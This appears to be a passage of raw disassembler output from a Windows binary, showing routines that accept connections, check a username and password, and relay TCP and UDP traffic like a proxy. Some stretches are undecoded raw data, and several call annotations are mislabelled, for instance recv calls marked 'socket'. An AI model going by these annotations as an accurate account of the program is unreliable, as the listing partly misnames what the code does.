var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 0E8905600h
		dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472F4
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472EC
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

